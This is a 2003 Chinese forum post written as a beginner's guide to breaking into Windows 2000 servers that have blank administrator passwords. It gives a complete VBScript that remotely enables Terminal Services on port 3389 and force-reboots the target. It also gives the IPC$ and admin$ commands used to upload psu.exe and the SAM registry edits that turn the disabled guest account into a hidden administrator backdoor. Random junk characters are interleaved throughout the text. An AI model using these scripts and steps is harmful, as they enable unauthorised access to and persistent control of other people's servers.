下沙论坛
标题:
一次简单的3389入侵
[打印本页]
作者:
firelinux
时间:
2003-3-17 15:34
标题:
一次简单的3389入侵
一次简单的3389入侵过程
( Q7 z R$ s3 x; v$ L
原创:caozhe(草哲)
& ]& s) L& V+ V F
来源:中国欲网技术论坛--草哲
" m; l5 P( O8 Y5 V. I
4 G- G4 F6 {' z% V; M4 W) U+ i
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!
# v0 s) p q$ _8 W: v
% d' u/ Z: Y8 }; p) c
于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!
$ E; x$ G6 \" N2 ]+ m# q* K
要入侵,我建议你在win2000环境下来*作!
b( T! s% W) {
& a. `0 K3 Q R; N- C
首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
l' l$ W) d8 y# i, s
扫描的X-Scan V2.3、WINNTAutoAttack、流光!
. _* |/ E" g8 T9 e3 b7 J
X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
. Y( q* M' Z4 m* V- S/ w
远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)
& p- F o% Y( s: [
克隆帐户用个psu就可以了~!
; b& a# A5 g/ y8 @6 l# j) u. N
9 w0 v" S8 ]) @8 x1 Q# J/ I( @% u5 l
OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空
- b: A6 C7 ^! C/ |8 o4 Q
运行CMD(2000下的DOS),我们给它开终端!
- e8 i0 o/ J5 n3 q7 |
命令如下!
9 _: E8 A6 ~& o5 V4 S
cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr
9 j) w: u' l9 q
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
/ g% U* u2 l9 ^4 C$ c; e
/ S5 Z f) \( m; a
因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!
6 t ^4 i3 ~- f4 z. n- q# a
: e4 b! m$ u( j' H: }
一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
( ?" e/ {* J; b4 i3 @$ ]9 y7 a
安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!
8 t& ]" U# }( e
5 T6 Y! m, v" Z- ^
回到DOS下!我们建立IPC$连接!
$ S3 K, K# [ T: ^$ ^& [
net use \\120.0.0.1\ipc$ "" /user:"administrator"
, E* ]2 ~" w l0 L2 L
这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
% j& Z5 R2 g0 [; H
copy psu.exe \\120.0.0.1\admin$\system32
0 R+ d& ]# b L! r/ R
上传完毕后,开始在肉鸡做后门帐户!看肉鸡!
, F$ [; R- g1 |: B( b
2 w$ X: x1 |3 `7 y3 C$ O& ?) k$ @5 z
假设guest用户被禁用,我们就是要利用guest做后门帐户!
# t2 o8 A" T1 G/ |: n
在该服务器运行CMD,在命令行下输入
5 n/ s) k7 l% `2 Y s) B1 I
psu -p regedit -i PID
6 ~$ x% q+ U* F0 u! V# t
2 s+ I4 q6 F: j0 e
这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
1 r2 D4 L$ e% B: N5 ~' \! r6 D
看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458
z- u+ F8 ]) j+ e7 e. P! b
那么,命令就是这样
7 l+ u% E* M; y
psu -p regedit -i 5458
6 A3 s* M; k9 w# M, o1 a
这样直接打开注册表,可以读取本地sam的信息。
/ y* `( q( R( q" x$ p/ g! H
打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
2 [8 O+ f3 L E' z
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
. I- x0 B" c# X
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
A8 A- s: L( S7 `9 i
查看administrator的类型,是if4,再看guest的是if5
! `) y# X" o9 Q
好了,知道了类型后,打开
5 W' a' G! S$ ^: i
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
& R$ O7 \: s5 U _1 Q$ i n; C
这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开
) U- \& \, [; P( F& L1 u
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
9 [( J3 v/ n: ~5 G; T
双击右侧的F,把刚复制的粘贴到里面!
9 R! C w$ e/ v1 d. `
0 a# w6 e, g ^! x
做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
- ?7 y; r k7 X( s# C: }1 E+ L
和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
l& }) K% ]1 k8 h* M8 S
这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。
$ {- Y! w, \) p R
1 |: ~! I; g) I- I# ]* w
打开CMD,在命令行下输入
2 f. Q% \5 k+ V) }/ \6 Y
net user guest password
# h) ^" z6 k v# k( w5 r
这条命令是给guest设置密码,后面的password就是密码
; f0 D8 \6 z E- g3 F5 J
然后输入
v6 Q' [4 l i! o' p, j7 @
net user guest /active:y
1 C3 @ q! i: S, b+ @
这命令是激活guest帐户,然后我们把他禁用
0 k9 N' O0 ^" F* _; |
net user guest /active:n
6 U! d1 B( F& d3 q) m
上面的三行命令必须在DOS下执行!
v# }" Z; f5 g! ?3 v
' C; W: s3 O7 W
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!
, W& h8 d% i1 P* j/ k1 w6 C5 D
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!
; u& \2 Q! x7 A7 N) ?
: {. j/ x- J6 T- J/ y
注销一下,用guest登陆吧!
# x* T, i. G- o
, F2 }$ }7 m4 @% o0 o' H a! Z }; f
打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!
9 T0 |5 D7 Q5 z- i [$ ~) {% D& y: x
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!
0 N8 s4 u& Q5 `+ f# }
) |4 v- ?0 E j2 f U' U/ F
因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!
. i- M. J( A( p2 B/ v1 v
* W+ @0 ]" w6 Z
----------------------------------------------------------------------
" ?1 |# Q$ j( H# ?1 |* s& Q6 a) {
以下是开终端的脚本,把它存为*.vbe
5 B3 N& r& a8 o) n6 V! ^
on error resume next
- \2 A2 e/ g% {5 z! C
set outstreem=wscript.stdout
* c" g% i0 n9 @" T
set instreem=wscript.stdin
2 ~( U6 Q" M* u" f/ R& `: p
if (lcase(right(wscript.fullname,11))="wscript.exe") then
$ |2 {+ y; X7 ?1 z3 W: z7 L
set objShell=wscript.createObject("wscript.shell")
6 T* h) ^8 ~; f" G' h9 e& F
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
3 K* [) J! |7 x: P O, g
wscript.quit
8 _8 ^' a' _, s
end if
0 T& y% T, T9 H) H
if wscript.arguments.count<3 then
) y2 u+ N, k' [) i$ j
usage()
, X- J) e& e* _- r+ V, V5 Z. ]: z
wscript.echo "Not enough parameters."
' t" B% D' M1 i) q' R
wscript.quit
U) O$ Y5 ?2 L* L# ]& L
end if
& Y2 f1 ]) A2 f; S2 i4 o
9 d/ t9 `8 i" X5 m) {+ M W' A
ipaddress=wscript.arguments(0)
* z: O% u/ r$ P
username=wscript.arguments(1)
/ e I- o6 Q% E7 n7 H5 L/ d+ V( B
password=wscript.arguments(2)
7 A4 C* R" U/ ? n: A
if wscript.arguments.count>3 then
8 F; W" _' g" R9 F) z) C
port=wscript.arguments(3)
5 o$ Q/ c4 T4 y' Z% N. U w
else
! f6 V, k# ?, ?& }7 Y+ J
port=3389
% I3 j3 h9 n2 B$ F$ M$ W
end if
, X/ n7 p6 v( g1 P8 b- D
if not isnumeric(port) or port<1 or port>65000 then
- {# I2 v; M$ d! j7 ^
wscript.echo "The number of port is error."
' W* V6 ^7 @/ F. z: G: {
wscript.quit
1 M3 t' _: M/ Q; a
end if
" _% k3 Q d6 V" k
if wscript.arguments.count>4 then
/ |6 T; Y @ T+ S1 A. R
reboot=wscript.arguments(4)
: L. h) {- D9 G1 h, B! h) [
else
8 X* ~$ k+ N1 j& V4 ]- w6 g/ ]
reboot=""
/ n. N1 o5 {* B* p
end if
6 ]5 I% H# z1 l# K
$ i( s( i3 j7 v; G; z
usage()
- _! `7 w( t |* V. U+ V
outstreem.write "Conneting "&ipaddress&" ...."
) y9 c" @4 y& a8 u0 [) d w( B' |9 I/ N
set objlocator=createobject("wbemscripting.swbemlocator")
- Z/ Z1 \' u- `: \; J1 ^! L p2 e
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
# X: x2 X" U s& |% ?5 C
showerror(err.number)
6 Z$ i) S, B. x- k
objswbemservices.security_.privileges.add 23,true
5 e/ F1 @; m" i" D" [/ N* L: N
objswbemservices.security_.privileges.add 18,true
1 q% _. b1 b, C2 B( Y" u6 p! b8 U
; @( Q& |" ]1 V t( k9 F6 A: f( j
outstreem.write "Checking OS type...."
1 }) ^1 r9 B1 c
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
1 }" r1 _9 f) X; ~9 A- M
for each objinstoscaption in colinstoscaption
! f) K, c9 f$ Y9 l5 Q |
if instr(objinstoscaption.caption,"Server")>0 then
. D; {; I+ R% u( H
wscript.echo "OK!"
5 B( c8 Z* D* T! {% X
else
% H2 r( H7 l. E# _
wscript.echo "OS type is "&objinstoscaption.caption
6 \$ X) Q: e9 ~# i
outstreem.write "Do you want to cancel setup?[y/n]"
! ^: q3 p! i6 w2 {) N4 Y6 F2 k
strcancel=instreem.readline
- c/ v' \1 x9 a7 y2 ~. a, @
if lcase(strcancel)<>"n" then wscript.quit
/ D& A- Z, y1 o. k
end if
0 V2 z- {% O# d$ J4 R! _2 p/ l
next
, Q e" ]& r# f' S
$ |" z6 h% r" r7 U, q
outstreem.write "Writing into registry ...."
% C) | I" A$ [- O) Z) d2 K
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
. l2 J7 t& g) s9 D0 R/ y+ ?
HKLM=&h80000002
( R4 B0 e$ m! L0 l( W( t! A2 W
HKU=&h80000003
, _ |& Q0 i! h4 c$ c3 _
with objinstreg
* J5 {$ Q8 u1 `) z6 j
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
4 k7 @$ }+ d& B/ \( U1 J0 N
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
' g0 a( P' V& t7 T8 c- V
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
- [) t' `9 B w8 u
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
8 U. u! S" L2 C- R' o$ B! C6 ^
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
7 K' x* A! G7 P0 G/ M8 L
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
8 |9 e3 }6 t& b9 K3 d5 w3 _
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
& Y4 w+ Z8 ?) L2 v2 H5 {5 G
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
+ K) ^' b8 A. {, x; J
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
0 z }$ C+ o3 W
end with
! I0 I, l- g3 \3 g2 w
showerror(err.number)
+ |5 U! @+ c" s9 ?- u9 ]! H
3 @ p) D$ u" g7 K7 O. Y/ K1 B: x0 Q
rebt=lcase(reboot)
$ A( G4 I p, l
flag=0
0 z5 c$ V( E) X, C$ M0 `
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2
. S1 o, k. E+ c3 M# Y
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
. A# J, e. c, ^+ I* D. ~
if flag<>0 then
( G4 l; n H6 ?" k. k/ ~' |/ {) T
outstreem.write "Now, reboot target...."
* g; U. H+ v4 F$ O
strwqlquery="select * from win32_operatingsystem where primary='true'"
; a: q$ a0 T/ ]: D
set colinstances=objswbemservices.execquery(strwqlquery)
V- M3 x. \9 Z% }# Z
for each objinstance in colinstances
6 b% M8 `( I; [
objinstance.win32shutdown(flag)
5 ^1 l) y* q& }; Z6 u8 i4 o) N, l2 |
next
( p- @) ?$ n! W& f) }5 ~9 b; M
showerror(err.number)
/ U: v! m' q* P; H
else
: d* D) L& I! w; u
wscript.echo "You need to reboot target."&vbcrlf&"Then,"
9 Q. l' I: Y: |9 I# e
end if
# Q. e/ h. \2 Y5 H& N o6 g! g7 J
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"
% `# o- ~- y9 ~8 I5 i [ i) Q* I
3 i" S8 F3 O7 T, z. p
function showerror(errornumber)
7 ]6 `: W9 L# {; O
if errornumber Then
3 |" ~9 d" L* J( L5 l$ P
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
) ]1 ?& K" H1 t+ w7 D
if err.description <> "" then
% ]8 R$ I7 f u7 v5 R; I' h
wscript.echo "Error description: "&err.description&"."
5 |) x7 A& {* E( A/ I8 o* ]
end if
1 S9 f3 U5 Q6 [0 H, Q
wscript.quit
7 P- F3 ? ~9 l, n1 M$ P0 d
else
5 h1 Y- \' I, W; X" Z2 C
wscript.echo "OK!"
5 n' }8 d. v9 u+ Y J6 L, v
end if
) L- U: [) D& e2 V$ z. {1 {3 w
end function
7 e/ N5 y$ r( J- G
8 a, \$ P: J2 ~& M" @( O9 i, Z
function usage()
' k9 u1 c: }: D$ e& s6 E% z
wscript.echo string(79,"*")
+ Q# G) p% l9 P& y- z. d
wscript.echo "ROTS v1.05"
! B* A8 y( t8 J) r& o/ S
wscript.echo "Remote Open Terminal services Script, by 草哲"
: @1 K& c4 \8 n6 N) _
wscript.echo "Welcome to visite www.5458.net"
0 I+ k* L" B" u/ Y ]6 f
wscript.echo "Usage:"
: `+ r& J4 Y1 [' f! g: K1 e) ]6 e
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
- W2 m& Q: M, f- [
wscript.echo "port: default number is 3389."
) r( h* ?0 o, A4 u) [5 z
wscript.echo "/r: auto reboot target."
/ j* @# X6 J4 N6 Z* N6 ^
wscript.echo "/fr: auto force reboot target."
; m3 M. z# x. ?4 l, b" G9 |" e
wscript.echo string(79,"*")&vbcrlf
% c% \8 s( [4 w# C+ k
end function
! M W6 ` [8 e2 y. h
9 m6 H) K, p; t$ W
转自安全焦点
作者:
安哲有德
时间:
2003-3-20 00:24
提示:
作者被禁止或删除 内容自动屏蔽
作者:
安哲有德
时间:
2003-3-20 00:28
提示:
作者被禁止或删除 内容自动屏蔽
作者:
安哲有德
时间:
2003-3-20 00:30
提示:
作者被禁止或删除 内容自动屏蔽
作者:
丧心病狂
时间:
2003-3-20 14:00
提示:
作者被禁止或删除 内容自动屏蔽
欢迎光临 下沙论坛 (http://bbs.xiasha.cn/)
Powered by Discuz! X3.3